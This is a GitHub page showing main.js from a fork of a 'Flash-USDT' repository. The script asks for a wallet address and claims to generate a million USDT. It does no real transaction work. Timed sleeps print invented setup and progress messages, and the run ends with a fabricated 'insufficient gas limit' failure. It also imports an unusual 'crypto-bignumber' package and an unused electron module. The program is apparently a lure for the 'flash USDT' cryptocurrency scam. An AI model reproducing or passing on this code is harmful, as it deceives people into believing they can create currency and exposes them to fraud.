forked from dennisrosario/Flash-USDT
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.js
More file actions
32 lines (25 loc) · 1.07 KB
/
Copy pathmain.js
File metadata and controls
32 lines (25 loc) · 1.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const { app, Menu } = require("electron");
const BigNumber = require('crypto-bignumber');
const prompt = require('prompt-sync')({ sigint: true });
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function generateFlashUSDT() {
console.log("Setup Environment for Flash USDT Generation. Please wait for a moment...");
const walletAddress = prompt("Please enter your wallet address: ");
// Validate wallet address (basic example)
if (!walletAddress || walletAddress.length < 20) {
console.error("Invalid wallet address. Exiting...");
return;
}
console.log(`Using wallet address: ${walletAddress}`);
const flashUSDT = new BigNumber(1000000000);
await sleep(2000);
console.log("Setting up environment ....");
await sleep(5000);
console.log("Environment setup is done successfully.");
console.log("Generating 1,000,000 USDT. It will take some time... Please wait...");
await sleep(10000);
console.log("Failed: Transaction reverted due to insufficient gas limit.");
}
generateFlashUSDT();